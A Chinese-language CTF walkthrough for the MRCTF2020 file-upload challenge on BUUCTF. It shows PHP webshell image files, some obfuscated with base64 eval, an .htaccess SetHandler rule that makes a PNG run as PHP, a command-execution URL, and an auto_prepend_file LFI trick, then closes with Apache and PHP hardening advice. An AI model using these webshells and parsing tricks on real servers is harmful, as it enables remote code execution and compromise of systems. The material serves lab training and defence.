从零攻破BUUCTF靶场Apache解析漏洞实战指南MRCTF2020真题精析当你面对一个看似简单的文件上传界面尝试了.php、.phtml等常见后缀却屡屡碰壁时是否感到无从下手这正是MRCTF2020赛题的精妙之处——它考验的不仅是基础文件上传漏洞的利用更是对Web服务器底层机制的深入理解。本文将带你一步步拆解这道经典赛题掌握.htaccess文件的魔法力量。1. 环境准备与漏洞原理剖析在开始实战之前我们需要明确两个核心概念文件上传漏洞与Apache解析机制。前者允许用户向服务器传递恶意文件后者决定了服务器如何处理这些文件。当两者相遇便可能产生奇妙的化学反应。1.1 靶场环境搭建BUUCTF在线靶场已为我们准备好了完整的挑战环境但了解其底层配置对后续操作至关重要# 典型的Apache基础配置模拟靶场环境 Directory /var/www/uploads Options Indexes FollowSymLinks AllowOverride All # 关键配置允许.htaccess覆盖服务器设置 Require all granted /Directory关键点在于AllowOverride All这一配置它赋予了.htaccess文件修改服务器行为的权限。如果没有这个配置我们的所有后续操作都将无效。1.2 漏洞原理图示传统文件上传防御通常采用黑名单或白名单过滤文件扩展名但这种方式存在固有缺陷防御方式常见过滤规则典型绕过方法黑名单禁止.php/.phtml等大小写变异、特殊后缀白名单仅允许.jpg/.png等MIME类型欺骗、解析漏洞MRCTF2020这道题采用了白名单解析漏洞的组合防御需要我们先上传合法文件如图片再通过服务器配置将其解析为PHP脚本。2. 实战操作四步攻破防御体系2.1 制作图片马首先准备一个包含PHP代码的图片文件这里我们命名为shell.pngGIF89a? // 图片文件头用于伪装 ?php system($_GET[cmd]); // 简化版WebShell ?注意实际比赛中建议使用更隐蔽的代码如// 伪装成图片注释的WebShell /*?php eval(base64_decode($_POST[z])); ?*/2.2 上传测试与拦截分析使用Burp Suite拦截上传请求观察服务器响应POST /upload.php HTTP/1.1 Content-Type: multipart/form-data ------WebKitFormBoundary Content-Disposition: form-data; namefile; filenameshell.php Content-Type: image/png [文件内容]常见拦截情况与应对策略扩展名过滤返回Invalid file type内容检测返回Malicious content detected双重校验需要同时绕过扩展名和内容检查在本案例中直接上传.php文件会被拦截但.png文件可以成功上传。2.3 创建.htaccess规则文件新建名为.htaccess的配置文件内容如下FilesMatch shell.png SetHandler application/x-httpd-php /FilesMatch关键细节文件名必须与上传的图片马完全一致区分大小写文件必须保存为ANSI编码避免BOM头问题在Windows系统创建时可能需要使用命令echo .htaccess2.4 组合攻击与flag获取按顺序上传两个文件后访问图片URL即可执行PHP代码http://target.com/uploads/shell.png?cmdls%20/常见flag位置检查清单/flag/flag.txt/home/flag当前目录下的隐藏文件3. 技术深挖.htaccess工作机制解析3.1 SetHandler指令的魔法这条指令的本质是修改MIME类型处理方式sequenceDiagram 客户端-Apache: 请求shell.png Apache-.htaccess: 检查处理规则 .htaccess--Apache: 按PHP处理该文件 Apache-PHP解析器: 传递文件内容 PHP解析器--Apache: 返回执行结果 Apache-客户端: 发送PHP输出虽然不能使用mermaid图表但我们可以用文字描述这个流程当请求到达时Apache会先检查目录下的.htaccess文件发现shell.png应该被当作PHP处理后便将文件内容交给PHP解析器而非直接返回图片内容。3.2 其他有用的.htaccess技巧除了文件解析.htaccess还能实现多种攻击/防御技术# 防御性配置示例 Order deny,allow Deny from 192.168.1.100 # 封禁特定IP # 攻击性利用示例 php_value auto_prepend_file /proc/self/environ # LFI利用4. 防御方案与进阶思考4.1 服务器加固建议针对此类攻击管理员应采取多层防御禁用.htaccess覆盖AllowOverride None限制上传目录执行权限Directory /var/www/uploads php_admin_flag engine off /Directory文件内容校验$image imagecreatefromstring(file_get_contents($_FILES[file][tmp_name])); if (!$image) die(Invalid image);4.2 CTF中的变种挑战在实际比赛中这道题可能演化为更复杂的形式随机文件名需要预测或暴力破解文件名条件竞争在.htaccess生效前触发文件删除组合漏洞配合文件包含、目录穿越等漏洞我曾遇到一个变种题目需要先通过SSRF获取内部接口才能上传.htaccess文件。这种多步骤的挑战往往更能考验综合能力。